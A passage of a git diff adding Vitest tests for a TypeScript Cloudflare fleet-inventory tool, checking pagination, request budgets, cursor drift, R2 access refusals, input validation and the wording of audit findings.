+          progress: { ...initialProgress(EMPTY_OPTIONS), stage },
+          maxProviderRequests: 1_000,
+        }),
+      ).rejects.toThrow(/namespace/);
+    }
+  });
+
+  it.each([
+    { world: { scriptPages: [[{}]] }, reason: 'invalid ID' },
+    { world: { scriptPages: [[{ id: '' }]] }, reason: 'invalid ID' },
+    {
+      world: { domainPages: [[{ service: '', hostname: 'example.test' }]] },
+      reason: 'invalid service',
+    },
+    {
+      world: { domainPages: [[{ service: 'anchorage-alpha', hostname: '' }]] },
+      reason: 'invalid hostname',
+    },
+    {
+      world: {
+        zoneIds: ['z1'],
+        zoneRoutePages: {
+          z1: [[{ script: 'anchorage-alpha', pattern: 'example.test/*' }]],
+        },
+      },
+      reason: 'invalid ID or pattern',
+    },
+    {
+      world: {
+        zoneIds: ['z1'],
+        zoneRoutePages: { z1: [[{ script: 'anchorage-alpha', id: 'route' }]] },
+      },
+      reason: 'invalid ID or pattern',
+    },
+  ] satisfies {
+    world: World;
+    reason: string;
+  }[])('refuses incomplete provider identity before filtering %#', async ({
+    world,
+    reason,
+  }) => {
+    const { deps } = harness(world);
+    await expect(drive(deps, EMPTY_OPTIONS)).rejects.toThrow(reason);
+  });
+
+  it.each([
+    { name: 'anchorage-db-a' },
+    { uuid: 'db-a' },
+    { uuid: '', name: 'anchorage-db-a' },
+    { uuid: 'db-a', name: '' },
+  ])('refuses incomplete D1 identity before or after a valid page %#', async (row) => {
+    for (const databasePages of [
+      [[row]],
+      [[{ uuid: 'foreign', name: 'foreign' }], [row]],
+    ]) {
+      const { deps } = harness({ databasePages });
+      const stage = { step: 'd1-databases' } as const;
+      await expect(
+        advanceCloudflareFleetInventoryStage(deps, {
+          stage,
+          options: EMPTY_OPTIONS,
+          progress: { ...initialProgress(EMPTY_OPTIONS), stage },
+          maxProviderRequests: 1_000,
+        }),
+      ).rejects.toThrow(/D1/);
+    }
+  });
+
+  it('preserves unassigned routes in provider inventory', async () => {
+    const { deps } = harness({
+      zoneIds: ['z1'],
+      zoneRoutePages: {
+        z1: [
+          [
+            { id: 'unset', pattern: 'unset.example.test/*' },
+            { id: 'empty', pattern: 'empty.example.test/*', script: '' },
+          ],
+        ],
+      },
+    });
+    await expect(drive(deps, EMPTY_OPTIONS)).resolves.toBeDefined();
+  });
+
+  it('finalizes an empty generation for an account with no host routing KV', async () => {
+    const { deps, calls } = harness({
+      domainPages: [[]],
+      zoneIds: [],
+      scriptPages: [[]],
+      databasePages: [[]],
+      namespacePages: [[]],
+    });
+    const run = await drive(deps, EMPTY_OPTIONS);
+    expect(run.steps).toEqual([
+      'custom-domains',
+      'zone-authority',
+      'ordinary-scripts',
+      'route-claims',
+      'd1-databases',
+      'do-namespaces',
+      'finalize',
+    ]);
+    expect(run.rows).toEqual([]);
+    expect(run.facts).toEqual([]);
+    expect(calls).not.toContain('kv-keys:');
+    expect(calls).not.toContain('r2:default:');
+  });
+
+  it('advances through a host routing KV namespace that is empty', async () => {
+    const { deps } = harness({
+      dispatchNamespace: 'anchorage-ns',
+      kvPages: [[]],
+      dispatchPages: [[]],
+      namespaceInventory: {
+        namespace_name: 'anchorage-ns',
+        trusted_workers: false,
+        script_count: 0,
+      },
+      domainPages: [[]],
+      zoneIds: [],
+      scriptPages: [[]],
+      databasePages: [[]],
+      namespacePages: [[]],
+    });
+    const run = await drive(deps, { ...RICH_OPTIONS, includeR2Buckets: false });
+    expect(run.steps).toEqual([
+      'host-kv-keys',
+      'dispatch-pages',
+      'registration-postprocess',
+      'custom-domains',
+      'zone-authority',
+      // The attestation meta row enables the zone-route stage, which then
+      // finds no zone to walk.
+      'zone-routes',
+      'ordinary-scripts',
+      'route-claims',
+      'd1-databases',
+      'do-namespaces',
+      'finalize',
+    ]);
+    expect(details(run.rows)).toEqual([]);
+  });
+
+  it('advances the offset when a resumed chunk re-reads the same page', async () => {
+    const world: World = {
+      kvPages: [
+        [{ name: 'a.example.com' }, { name: 'b.example.com' }],
+        [{ name: 'c.example.com' }],
+      ],
+    };
+    const { deps } = harness(world);
+    const stage: FleetInventoryStage = { step: 'host-kv-keys' };
+    const progress = { ...initialProgress(RICH_OPTIONS), stage };
+    const first = await advanceCloudflareFleetInventoryStage(deps, {
+      stage,
+      options: RICH_OPTIONS,
+      progress,
+      maxProviderRequests: 9,
+    });
+    expect(first.pageDigest).toMatch(/^[0-9a-f]{64}$/u);
+    const replay = await advanceCloudflareFleetInventoryStage(deps, {
+      stage,
+      options: RICH_OPTIONS,
+      progress: { ...progress, lastPageDigest: first.pageDigest },
+      maxProviderRequests: 9,
+    });
+    expect(replay.pageDigest).toBe(first.pageDigest);
+    expect(replay.nextStage).toEqual(first.nextStage);
+    expect(replay.rows).toEqual(first.rows);
+  });
+
+  it('refuses a resumed chunk whose page digest drifted', async () => {
+    const stage: FleetInventoryStage = { step: 'host-kv-keys' };
+    const progress = { ...initialProgress(RICH_OPTIONS), stage };
+    const first = await advanceCloudflareFleetInventoryStage(
+      harness({ kvPages: [[{ name: 'a.example.com' }]] }).deps,
+      { stage, options: RICH_OPTIONS, progress, maxProviderRequests: 9 },
+    );
+    const drifted = harness({
+      kvPages: [[{ name: 'a.example.com' }, { name: 'b.example.com' }]],
+    });
+    await expect(
+      advanceCloudflareFleetInventoryStage(drifted.deps, {
+        stage,
+        options: RICH_OPTIONS,
+        progress: { ...progress, lastPageDigest: first.pageDigest },
+        maxProviderRequests: 9,
+      }),
+    ).rejects.toThrow(CloudflareFleetInventoryCursorDriftError);
+    await expect(
+      advanceCloudflareFleetInventoryStage(drifted.deps, {
+        stage,
+        options: RICH_OPTIONS,
+        progress: { ...progress, lastPageDigest: first.pageDigest },
+        maxProviderRequests: 9,
+      }),
+    ).rejects.toThrow(
+      "fleet inventory stage 'host-kv-keys' page changed between bounded chunks",
+    );
+  });
+
+  it('refuses a provider listing that repeats its cursor', async () => {
+    const deps = harness({ kvPages: [[{ name: 'a.example.com' }]] }).deps;
+    const repeating: CloudflareFleetInventoryDeps = {
+      ...deps,
+      listHostRoutingKeys: async () => ({
+        keys: [{ name: 'a.example.com' }],
+        cursor: 'stuck',
+      }),
+    };
+    const stage: FleetInventoryStage = {
+      step: 'host-kv-keys',
+      cursor: 'stuck',
+    };
+    await expect(
+      advanceCloudflareFleetInventoryStage(repeating, {
+        stage,
+        options: RICH_OPTIONS,
+        progress: { ...initialProgress(RICH_OPTIONS), stage },
+        maxProviderRequests: 9,
+      }),
+    ).rejects.toThrow(CloudflareFleetInventoryCursorError);
+  });
+
+  it('stops at the provider request budget and persists the exact offset', async () => {
+    const keys = Array.from({ length: 40 }, (_, index) => ({
+      name: `host-${index}.example.com`,
+    }));
+    const { deps, calls } = harness({
+      kvPages: [keys],
+      kvValues: Object.fromEntries(
+        keys.map((key) => [String(key.name), 'not json']),
+      ),
+    });
+    const stage: FleetInventoryStage = {
+      step: 'host-kv-values',
+      keyOrdinal: 0,
+    };
+    const result = await advanceCloudflareFleetInventoryStage(deps, {
+      stage,
+      options: RICH_OPTIONS,
+      progress: { ...initialProgress(RICH_OPTIONS), stage },
+      maxProviderRequests: 9,
+    });
+    // One page listing plus eight value reads exhausts the budget of nine.
+    expect(result.providerRequests).toBe(9);
+    expect(result.nextStage).toEqual({ step: 'host-kv-values', keyOrdinal: 8 });
+    expect(result.rows).toHaveLength(8);
+    expect(calls.filter((call) => call.startsWith('kv-value:'))).toHaveLength(
+      8,
+    );
+    await expect(
+      advanceCloudflareFleetInventoryStage(deps, {
+        stage,
+        options: RICH_OPTIONS,
+        progress: { ...initialProgress(RICH_OPTIONS), stage },
+        maxProviderRequests: 9,
+      }),
+    ).resolves.toMatchObject({ providerRequests: 9 });
+    // A chunk that cannot reach its own offset fails closed instead of
+    // returning zero progress forever.
+    const paged = harness({
+      kvPages: keys.map((key) => [key]),
+      kvValues: Object.fromEntries(
+        keys.map((key) => [String(key.name), 'not json']),
+      ),
+    });
+    await expect(
+      advanceCloudflareFleetInventoryStage(paged.deps, {
+        stage,
+        options: RICH_OPTIONS,
+        progress: { ...initialProgress(RICH_OPTIONS), stage },
+        maxProviderRequests: 9,
+      }),
+    ).rejects.toThrow(CloudflareFleetInventoryBudgetError);
+  });
+
+  it('accepts the ten-thousandth host routing key and refuses the next one', async () => {
+    const keys = (count: number) =>
+      Array.from({ length: count }, (_, index) => ({ name: `key-${index}` }));
+    const stage: FleetInventoryStage = { step: 'host-kv-keys' };
+    const accepted = await advanceCloudflareFleetInventoryStage(
+      harness({ kvPages: [keys(10_000)] }).deps,
+      {
+        stage,
+        options: RICH_OPTIONS,
+        progress: { ...initialProgress(RICH_OPTIONS), stage },
+        maxProviderRequests: 9,
+      },
+    );
+    expect(accepted.rows).toHaveLength(10_000);
+    await expect(
+      advanceCloudflareFleetInventoryStage(
+        harness({ kvPages: [keys(10_001)] }).deps,
+        {
+          stage,
+          options: RICH_OPTIONS,
+          progress: { ...initialProgress(RICH_OPTIONS), stage },
+          maxProviderRequests: 9,
+        },
+      ),
+    ).rejects.toThrow(
+      'host-routing KV key inventory exceeded the supported inventory bound of 10000 items',
+    );
+  });
+
+  it('accepts the twenty-five-thousandth D1 database and refuses the next one', async () => {
+    const databases = (count: number) =>
+      Array.from({ length: count }, (_, index) => ({
+        uuid: `db-${index}`,
+        name: `anchorage-db-${index}`,
+      }));
+    const stage: FleetInventoryStage = { step: 'd1-databases' };
+    const accepted = await advanceCloudflareFleetInventoryStage(
+      harness({ databasePages: [databases(25_000)] }).deps,
+      {
+        stage,
+        options: EMPTY_OPTIONS,
+        progress: { ...initialProgress(EMPTY_OPTIONS), stage },
+        maxProviderRequests: 9,
+      },
+    );
+    expect(accepted.rows).toHaveLength(25_000);
+    await expect(
+      advanceCloudflareFleetInventoryStage(
+        harness({ databasePages: [databases(25_001)] }).deps,
+        {
+          stage,
+          options: EMPTY_OPTIONS,
+          progress: { ...initialProgress(EMPTY_OPTIONS), stage },
+          maxProviderRequests: 9,
+        },
+      ),
+    ).rejects.toThrow(
+      'D1 database inventory exceeded the supported inventory bound of 25000 items',
+    );
+  });
+
+  it.each([
+    'eu',
+    'fedramp',
+  ] as const)('records a first-page %s access refusal without losing accessible buckets', async (unavailable) => {
+    const buckets = Object.fromEntries(
+      ['default', 'eu', 'fedramp'].map((jurisdiction) => [
+        jurisdiction,
+        [{ name: `anchorage-${jurisdiction}`, creation_date: '2024-01-01' }],
+      ]),
+    );
+    const base = harness({ buckets }).deps;
+    const refusal = new APIError(
+      403,
+      { errors: [{ code: 10003 }] },
+      '',
+      new Headers(),
+    );
+    const deps = {
+      ...base,
+      listR2Buckets: async (
+        input: Parameters<typeof base.listR2Buckets>[0],
+      ) => {
+        if (input.jurisdiction === unavailable) throw refusal;
+        return base.listR2Buckets(input);
+      },
+    };
+    const options = { ...EMPTY_OPTIONS, includeR2Buckets: true };
+    const run = await drive(deps, options);
+    const inventory = materializeFleetInventoryGeneration({ ...run, options });
+    expect(inventory.unavailableR2Jurisdictions).toEqual([unavailable]);
+    expect(Object.isFrozen(inventory.unavailableR2Jurisdictions)).toBe(true);
+    expect(inventory.r2Buckets?.map((bucket) => bucket.bucketName)).toEqual(
+      ['default', 'eu', 'fedramp']
+        .filter((jurisdiction) => jurisdiction !== unavailable)
+        .map((jurisdiction) => `anchorage-${jurisdiction}`),
+    );
+    expect(run.steps.at(-1)).toBe('finalize');
+  });
+
+  it.each([
+    ['default', 403, [{ code: 10003 }]],
+    ['fedramp', 403, [{ code: 10004 }]],
+    ['fedramp', 403, []],
+    ['fedramp', 403, [{ code: '10003' }]],
+    ['fedramp', 500, [{ code: 10003 }]],
+  ] as const)('fails the R2 stage for %s HTTP %i with errors %j', async (jurisdiction, status, errors) => {
+    const base = harness({}).deps;
+    const refusal = new APIError(status, { errors }, '', new Headers());
+    await expect(
+      drive(
+        {
+          ...base,
+          listR2Buckets: async (input) => {
+            if (input.jurisdiction === jurisdiction) throw refusal;
+            return base.listR2Buckets(input);
+          },
+        },
+        { ...EMPTY_OPTIONS, includeR2Buckets: true },
+      ),
+    ).rejects.toBe(refusal);
+  });
+
+  it.each([
+    false,
+    true,
+  ])('fails a second-page EU access refusal, resumed=%s', async (resumed) => {
+    const base = harness({}).deps;
+    const refusal = new APIError(
+      403,
+      { errors: [{ code: 10003 }] },
+      '',
+      new Headers(),
+    );
+    const stage: FleetInventoryStage = {
+      step: 'r2-buckets',
+      jurisdictionOrdinal: 1,
+      ...(resumed ? { startAfter: 'anchorage-0999' } : {}),
+    };
+    const options = { ...EMPTY_OPTIONS, includeR2Buckets: true };
+    await expect(
+      advanceCloudflareFleetInventoryStage(
+        {
+          ...base,
+          listR2Buckets: async ({ startAfter }) => {
+            if (startAfter !== undefined) throw refusal;
+            return {
+              buckets: Array.from({ length: 1_000 }, (_, index) => ({
+                name: `anchorage-${String(index).padStart(4, '0')}`,
+                creation_date: '2024-01-01',
+              })),
+            };
+          },
+        },
+        {
+          stage,
+          options,
+          progress: { ...initialProgress(options), stage },
+          maxProviderRequests: 9,
+        },
+      ),
+    ).rejects.toBe(refusal);
+  });
+
+  it('distinguishes an unavailable jurisdiction from an empty page in the page digest', async () => {
+    const base = harness({}).deps;
+    const stage: FleetInventoryStage = {
+      step: 'r2-buckets',
+      jurisdictionOrdinal: 2,
+    };
+    const options = { ...EMPTY_OPTIONS, includeR2Buckets: true };
+    const input = {
+      stage,
+      options,
+      progress: { ...initialProgress(options), stage },
+      maxProviderRequests: 9,
+    };
+    const empty = await advanceCloudflareFleetInventoryStage(base, input);
+    const unavailable = await advanceCloudflareFleetInventoryStage(
+      {
+        ...base,
+        listR2Buckets: async () => {
+          throw new APIError(
+            403,
+            { errors: [{ code: 10003 }] },
+            '',
+            new Headers(),
+          );
+        },
+      },
+      input,
+    );
+    expect(unavailable.pageDigest).not.toBe(empty.pageDigest);
+    expect(unavailable.rows).not.toEqual(empty.rows);
+    const inventory = materializeFleetInventoryGeneration({
+      ...empty,
+      options,
+    });
+    expect(inventory.unavailableR2Jurisdictions).toEqual([]);
+    expect(Object.isFrozen(inventory.unavailableR2Jurisdictions)).toBe(true);
+  });
+
+  it('resumes R2 pagination inside one jurisdiction', async () => {
+    const buckets = Array.from({ length: 9_001 }, (_, index) => ({
+      name: `anchorage-${String(index).padStart(4, '0')}`,
+      creation_date: '2024-01-01T00:00:00.000Z',
+    }));
+    const { deps, calls } = harness({ buckets: { default: buckets } });
+    const stage: FleetInventoryStage = {
+      step: 'r2-buckets',
+      jurisdictionOrdinal: 0,
+    };
+    const options = { ...EMPTY_OPTIONS, includeR2Buckets: true };
+    const first = await advanceCloudflareFleetInventoryStage(deps, {
+      stage,
+      options,
+      progress: { ...initialProgress(options), stage },
+      maxProviderRequests: 9,
+    });
+    expect(first.rows).toHaveLength(9_000);
+    const resumed = first.nextStage as Readonly<{
+      step: 'r2-buckets';
+      jurisdictionOrdinal: 0 | 1 | 2;
+      startAfter?: string;
+    }>;
+    expect(resumed).toEqual({
+      step: 'r2-buckets',
+      jurisdictionOrdinal: 0,
+      startAfter: 'anchorage-8999',
+    });
+    const stagedCounts = emptyFleetInventoryRowCounts();
+    const second = await advanceCloudflareFleetInventoryStage(deps, {
+      stage: resumed,
+      options,
+      progress: {
+        ...initialProgress(options),
+        stage: resumed,
+        stagedCounts: { ...stagedCounts, 'r2-bucket': 9_000 },
+      },
+      maxProviderRequests: 9,
+    });
+    expect(second.rows).toHaveLength(1);
+    expect(second.rows[0]?.ordinal).toBe(9_000);
+    expect(second.nextStage).toEqual({ step: 'finalize' });
+    expect(calls).toContain('r2:default:anchorage-8999');
+    expect(calls).toContain('r2:eu:');
+    expect(calls).toContain('r2:fedramp:');
+  });
+
+  it('lists dispatch pages through listDispatchScriptPage, including its retry', async () => {
+    const { deps, dispatchRequests } = harness({
+      dispatchNamespace: 'anchorage-ns',
+      dispatchStatuses: [429, 200],
+      dispatchPages: [[{ id: 'anchorage-alpha', tags: ['fleet:anchorage'] }]],
+    });
+    const stage: FleetInventoryStage = {
+      step: 'dispatch-pages',
+      pageOrdinal: 0,
+    };
+    const result = await advanceCloudflareFleetInventoryStage(deps, {
+      stage,
+      options: RICH_OPTIONS,
+      progress: { ...initialProgress(RICH_OPTIONS), stage },
+      maxProviderRequests: 9,
+    });
+    expect(dispatchRequests).toEqual([
+      'anchorage-ns||1000',
+      'anchorage-ns||1000',
+    ]);
+    expect(result.providerRequests).toBe(1);
+    expect(result.rows).toEqual([
+      {
+        kind: 'dispatch-script',
+        ordinal: 0,
+        payload: {
+          record: 'dispatch-script',
+          scriptId: 'anchorage-alpha',
+          tags: ['fleet:anchorage'],
+        },
+      },
+    ]);
+  });
+
+  it('stages fixed templates for both provider-error findings without provider text', async () => {
+    const { deps } = harness(RICH_WORLD);
+    const run = await drive(deps, RICH_OPTIONS);
+    expect(details(run.rows)).toContain(
+      "registered script 'anchorage-delta' could not be inspected",
+    );
+    expect(details(run.rows)).toContain(
+      "plain Worker 'anchorage-ghost' could not be inventoried",
+    );
+    for (const detail of details(run.rows)) {
+      expect(detail).not.toContain(INSPECT_FAILURE);
+      expect(detail).not.toContain(DETAIL_FAILURE);
+      expect(detail).not.toContain('Error');
+    }
+    expect(run.diagnostics.join('\n')).toContain(INSPECT_FAILURE);
+    expect(run.diagnostics.join('\n')).toContain(DETAIL_FAILURE);
+  });
+
+  it("stages every other finding detail with today's exact bytes", async () => {
+    const { deps } = harness(RICH_WORLD);
+    const run = await drive(deps, RICH_OPTIONS);
+    expect(
+      findings(run.rows).map((payload) => [payload.kind, payload.detail]),
+    ).toEqual([
+      [
+        'stale-script-registration',
+        "script inventory key '__anchorage_script__:anchorage-beta' claims 'anchorage-gamma'",
+      ],
+      [
+        'malformed-script-registration',
+        "fleet inventory key '__anchorage_script__:anchorage-bad' is not valid JSON",
+      ],
+      [
+        'malformed-route',
+        "host route 'stale.example.com' has incomplete ownership metadata",
+      ],
+      [
+        'stale-script-registration',
+        "registered script 'anchorage-gamma' is absent from the dispatch namespace listing",
+      ],
+      [
+        'stale-script-registration',
+        "registered script 'anchorage-gamma' is missing",
+      ],
+      [
+        'stale-script-registration',
+        "registered script 'anchorage-delta' does not match its live fleet tags",
+      ],
+      [
+        'stale-script-registration',
+        "registered script 'anchorage-delta' could not be inspected",
+      ],
+      [
+        'stale-script-registration',
+        "registered script 'anchorage-epsilon' does not match its live tenant, environment, or database ownership",
+      ],
+      [
+        'unknown-dispatch-scripts',
+        "dispatch script 'anchorage-orphan' has no valid owner-checked registry entry",
+      ],
+      [
+        'stale-route',
+        "host route 'other.example.com' does not match its script registration owner",
+      ],
+      [
+        'trusted-dispatch-namespace',
+        "dispatch namespace 'anchorage-ns' does not attest trusted_workers=false",
+      ],
+      [
+        'unknown-dispatch-scripts',
+        "dispatch namespace 'anchorage-ns' reports 1 script(s) missing from the paginated listing",
+      ],
+      [
+        'incomplete-deployment',
+        "trusted Worker 'anchorage-plain' is publicly reachable on workers.dev, a preview URL, or a zone route",
+      ],
+      [
+        'incomplete-deployment',
+        "plain Worker 'anchorage-ghost' could not be inventoried",
+      ],
+      [
+        'stale-route',
+        "custom domain 'orphan.example.com' points to a missing or incomplete plain Worker 'anchorage-ghost'",
+      ],
+      [
+        'stale-route',
+        "zone route 'zone.example.com/*' exposes plain Worker 'anchorage-plain'",
+      ],
+    ]);
+  });
+
+  it('keeps provider diagnostics out of staged rows and facts', async () => {
+    const { deps } = harness(RICH_WORLD);
+    const run = await drive(deps, RICH_OPTIONS);
+    const durable = JSON.stringify([run.rows, run.facts]);
+    expect(run.diagnostics.length).toBeGreaterThan(0);
+    for (const diagnostic of run.diagnostics) {
+      expect(durable).not.toContain(diagnostic);
+    }
+    expect(durable).not.toContain('sk-live-secret');
+  });
+
+  it('records cross-stage drift as an incomplete-deployment finding', async () => {
+    let listed = true;
+    const base = harness({
+      scriptPages: [[{ id: 'anchorage-vanished' }]],
+      domainPages: [[]],
+      zoneIds: [],
+    });
+    const deps: CloudflareFleetInventoryDeps = {
+      ...base.deps,
+      readOrdinaryScriptDetail: async () => {
+        listed = false;
+        throw new Error('404 script not found');
+      },
+    };
+    const stage: FleetInventoryStage = {
+      step: 'ordinary-script-detail',
+      scriptOrdinal: 0,
+    };
+    const result = await advanceCloudflareFleetInventoryStage(deps, {
+      stage,
+      options: EMPTY_OPTIONS,
+      progress: { ...initialProgress(EMPTY_OPTIONS), stage },
+      maxProviderRequests: 9,
+    });
+    expect(listed).toBe(false);
+    expect(details(result.rows)).toEqual([
+      "plain Worker 'anchorage-vanished' could not be inventoried",
+    ]);
+    expect(result.nextStage.step).toBe('route-claims');
+  });
+
+  it('validates every interpolated finding value and falls back to the key ordinal', async () => {
+    const hostile = 'bad\u0007name';
+    const { deps } = harness({
+      kvPages: [[{ name: 'a.example.com' }, { name: hostile }]],
+      kvValues: { 'a.example.com': 'not json', [hostile]: 'not json' },
+    });
+    const stage: FleetInventoryStage = {
+      step: 'host-kv-values',
+      keyOrdinal: 0,
+    };
+    const result = await advanceCloudflareFleetInventoryStage(deps, {
+      stage,
+      options: RICH_OPTIONS,
+      progress: { ...initialProgress(RICH_OPTIONS), stage },
+      maxProviderRequests: 9,
+    });
+    expect(details(result.rows)).toEqual([
+      "fleet inventory key 'a.example.com' is not valid JSON",
+      'script inventory key at ordinal 1 has an unsafe name',
+    ]);
+    const credentialed = harness({
+      kvPages: [[{ name: 'authorization-key.example.com' }]],
+      kvValues: { 'authorization-key.example.com': 'not json' },
+    });
+    await expect(
+      advanceCloudflareFleetInventoryStage(credentialed.deps, {
+        stage,
+        options: RICH_OPTIONS,
+        progress: { ...initialProgress(RICH_OPTIONS), stage },
+        maxProviderRequests: 9,
+      }),
+    ).rejects.toThrow(FleetInventoryFindingValueError);
+  });
+
+  it('stages a deployment with zero facts', async () => {
+    const { deps } = harness({
+      scriptPages: [[{ id: 'anchorage-bare' }]],
+      domainPages: [[]],
+      zoneIds: [],
+      scriptDetails: {
+        'anchorage-bare': {
+          artifactVersion: 'version-1',
+          bindings: [
+            { type: 'plain_text', name: 'DEPLOYMENT_TENANT', text: TENANT },
+            {
+              type: 'plain_text',
+              name: 'FLEET_ENVIRONMENT',
+              text: ENVIRONMENT,
+            },
+            { type: 'plain_text', name: 'FLEET_SCHEMA_VERSION', text: '1' },
+          ],
+          subdomainEnabled: false,
+          previewsEnabled: false,
+          secretNames: [],
+        },
+      },
+    });
+    const stage: FleetInventoryStage = {
+      step: 'ordinary-script-detail',
+      scriptOrdinal: 0,
+    };
+    const result = await advanceCloudflareFleetInventoryStage(deps, {
+      stage,
+      options: EMPTY_OPTIONS,
+      progress: { ...initialProgress(EMPTY_OPTIONS), stage },
+      maxProviderRequests: 9,
+    });
+    const deployments = result.rows.filter((row) => row.kind === 'deployment');
+    expect(deployments).toHaveLength(1);
+    expect(
+      result.facts.filter((fact) => fact.factKind !== 'plain-text-binding'),
+    ).toEqual([]);
+    expect(result.nextStage.step).toBe('route-claims');
+  });
+
+  it('keeps fact ordinals byte-stable across a replayed chunk', async () => {
+    const { deps } = harness(RICH_WORLD);
+    const stage: FleetInventoryStage = {
+      step: 'registration-checks',
+      registrationOrdinal: 0,
+    };
+    const progress = { ...initialProgress(RICH_OPTIONS), stage };
+    const first = await advanceCloudflareFleetInventoryStage(deps, {
+      stage,
+      options: RICH_OPTIONS,
+      progress,
+      maxProviderRequests: 1_000,
+    });
+    const replay = await advanceCloudflareFleetInventoryStage(deps, {
+      stage,
+      options: RICH_OPTIONS,
+      progress: { ...progress, lastPageDigest: first.pageDigest },
+      maxProviderRequests: 1_000,
+    });
+    expect(replay.facts).toEqual(first.facts);
+    expect(replay.rows).toEqual(first.rows);
+    expect(first.facts.length).toBeGreaterThan(0);
+    expect(
+      first.facts.map(
+        (fact) =>
+          `${fact.deploymentOrdinal}:${fact.factKind}:${fact.factOrdinal}`,
+      ),
+    ).toEqual(
+      replay.facts.map(
+        (fact) =>
+          `${fact.deploymentOrdinal}:${fact.factKind}:${fact.factOrdinal}`,
+      ),
+    );
+  });
+
+  it('refuses a provider request budget outside nine to one thousand', async () => {
+    const { deps } = harness({ kvPages: [[]] });
+    const stage: FleetInventoryStage = { step: 'host-kv-keys' };
+    const call = (maxProviderRequests: number) =>
+      advanceCloudflareFleetInventoryStage(deps, {
+        stage,
+        options: RICH_OPTIONS,
+        progress: { ...initialProgress(RICH_OPTIONS), stage },
+        maxProviderRequests,
+      });
+    await expect(call(8)).rejects.toThrow(
+      'maxProviderRequests must be an integer from 9 to 1000',
+    );
+    await expect(call(1_001)).rejects.toThrow(
+      'maxProviderRequests must be an integer from 9 to 1000',
+    );
+    await expect(call(9)).resolves.toMatchObject({ providerRequests: 1 });
+    await expect(call(1_000)).resolves.toMatchObject({ providerRequests: 1 });
+  });
+});
diff --git a/packages/fleet-control/test/cloudflare-rate-coordinator.test.ts b/packages/fleet-control/test/cloudflare-rate-coordinator.test.ts
index 91bda28a..357ee795 100644
--- a/packages/fleet-control/test/cloudflare-rate-coordinator.test.ts
+++ b/packages/fleet-control/test/cloudflare-rate-coordinator.test.ts
@@ -4,6 +4,7 @@ import type { D1Database } from '@cloudflare/workers-types';
 import { describe, expect, it, vi } from 'vitest';
 import { CloudflareProvisioningClient } from '../src/cloudflare-client.js';
 import { D1CloudflareApiRateCoordinator } from '../src/cloudflare-rate-coordinator.js';
+import { envelope } from './fixtures/cloudflare-fetch-fixture.js';
 
 const WINDOW_MS = 5 * 60_000;
 
@@ -100,22 +101,6 @@ function directBinding(database: RateDatabase): D1Database {
   return database as unknown as D1Database;
 }
 
-function envelope(result: unknown): Response {
-  return Response.json({
-    success: true,
-    errors: [],
-    messages: [],
-    result,
-    result_info: {
-      page: 1,
-      per_page: 20,
-      count: Array.isArray(result) ? result.length : 1,
-      total_count: Array.isArray(result) ? result.length : 1,
-      total_pages: 1,
-    },
-  });
-}
-
 describe('D1CloudflareApiRateCoordinator', () => {
   it('fails closed before a provider request when coordination fails', async () => {
     const request = vi.fn(async () => envelope([]));
diff --git a/packages/fleet-control/test/credentialed-conformance.test.ts b/packages/fleet-control/test/credentialed-conformance.test.ts
index 82e24c68..2f18b5c3 100644
--- a/packages/fleet-control/test/credentialed-conformance.test.ts
+++ b/packages/fleet-control/test/credentialed-conformance.test.ts
@@ -17,6 +17,7 @@ import {
   runCredentialedConformance,
   validateOperationalConformance,
 } from '../scripts/credentialed-conformance-runtime.mjs';
+import { plainWorkerIngressModule } from '../src/plain-worker-backend.js';
 import {
   canonicalMaintenanceCapabilityPublicKey,
   FLEET_AUDIT_PROXY_CLASS_NAME,
@@ -32,7 +33,6 @@ import {
   validateDeploymentSecrets,
   validateDeploymentSpec,
 } from '../src/validation.js';
-import { plainWorkerIngressModule } from '../src/wrangler-loop-backend.js';
 
 const REQUIRED_ENVIRONMENT_VARIABLES = [
   'FLEET_CONFORMANCE_CONFIG',
@@ -591,8 +591,8 @@ describe('credentialed conformance command', () => {
 
   it('pins live-only plain-lane request and recovery invariants', () => {
     const source = readFileSync(scriptPath, 'utf8');
-    expect(source).toContain(
-      'const cloudflare = new Cloudflare({ apiToken, maxRetries: 0 });',
+    expect(source).toMatch(
+      /const cloudflare = new Cloudflare\(\{\s*apiToken,\s*logLevel: 'off',\s*maxRetries: 0,\s*\}\);/u,
     );
     expect(source).toMatch(
       /deployment\.store\.withDeploymentLease\(\s*spec\.tenantTag,\s*spec\.environment,\s*async \(fence\)/u,
diff --git a/packages/fleet-control/test/cross-backend-continuation.test.ts b/packages/fleet-control/test/cross-backend-continuation.test.ts
new file mode 100644
index 00000000..86851564
--- /dev/null
+++ b/packages/fleet-control/test/cross-backend-continuation.test.ts
@@ -0,0 +1,1515 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { afterEach, describe, expect, it, vi } from 'vitest';
+import { auditFleetDrift, migrateFleet } from '../src/fleet.js';
+import {
+  type AdvanceFleetAuditOptions,
+  advanceFleetAudit,
+  type FleetAuditAdvanceAction,
+  type FleetAuditAdvanceResult,
+  readFleetAuditFindingsPage,
+} from '../src/fleet-audit-advance.js';
+import type { FleetOperationToken } from '../src/fleet-operation-state.js';
+import {
+  cleanupDeploymentArtifacts,
+  decommissionDeployment,
+  forceDecommissionDeployment,
+  ProvisioningError,
+  provisionDeployment,
+} from '../src/provision.js';
+import {
+  type DeploymentSpec,
+  effectiveLifecyclePhase,
+  type FleetRecord,
+  type FleetResourceInventory,
+  type FleetStateLease,
+  type FleetStateStore,
+  type ProvisioningBackend,
+} from '../src/types.js';
+import { restProjection } from './fixtures/cloudflare-fetch-fixture.js';
+import {
+  FakeOperationStore,
+  RegisteredGenerationInventoryRunStore,
+  uuidFor,
+} from './fixtures/fleet-operation-fakes.js';
+import {
+  assertHarnessFailuresConsumed,
+  buildPlainWorkerSpec,
+  captureFailure,
+  collectWorldInventory,
+  directHarness,
+  errorChain,
+  HarnessFleetStore,
+  ignoreFailure,
+  initialSpec,
+  migrationSpec,
+  type PlainWorkerHarness,
+  routeAttestation,
+  sharedSecrets,
+  wranglerHarness,
+} from './fixtures/plain-worker-harnesses.js';
+import {
+  type ProviderWorld,
+  providerWorld,
+} from './fixtures/provider-world.js';
+import {
+  type PlainWorkerFsControl,
+  registerScratchCleanup,
+} from './fixtures/wrangler-fs-mock.js';
+
+const fsControl = vi.hoisted<PlainWorkerFsControl>(() => ({
+  failFleetCleanup: false,
+  residualDirectory: undefined,
+  cleanupError: new Error('continuation scratch cleanup failed'),
+}));
+
+vi.mock('node:fs/promises', async () => {
+  const { createFsPromisesMock } = await import(
+    './fixtures/wrangler-fs-mock.js'
+  );
+  return createFsPromisesMock(fsControl);
+});
+
+const exportDirectories = registerScratchCleanup(fsControl, {
+  cleanupError: fsControl.cleanupError,
+});
+
